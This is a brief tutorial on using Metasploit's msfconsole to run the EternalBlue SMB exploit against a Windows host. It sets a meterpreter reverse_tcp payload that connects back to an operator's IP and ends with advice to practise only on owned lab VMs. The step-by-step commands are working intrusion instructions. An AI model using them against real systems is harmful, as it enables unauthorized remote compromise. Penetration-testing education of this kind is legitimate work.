Metasploit msfconsole: Your First Exploit in 5 Minutes
The Metasploit Framework is the pentester’s Swiss Army knife.
Launch msfconsole
sudo msfconsole
Find Exploits
search eternalblue
Basic Workflow
Step 1: Select exploit
use exploit/windows/smb/ms17_010_eternalblue
Step 2: Show options
show options
Step 3: Set target
set RHOSTS 192.168.1.100
Step 4: Set payload
set payload windows/x64/meterpreter/reverse_tcp
Step 5: Set your IP
set LHOST 192.168.1.50
Step 6: Exploit
exploit
Key Commands
show options– View settingssessions– List active sessionsjobs– List background jobs
Bottom Line
Practice on Metasploitable VMs. Never test systems you don’t own.
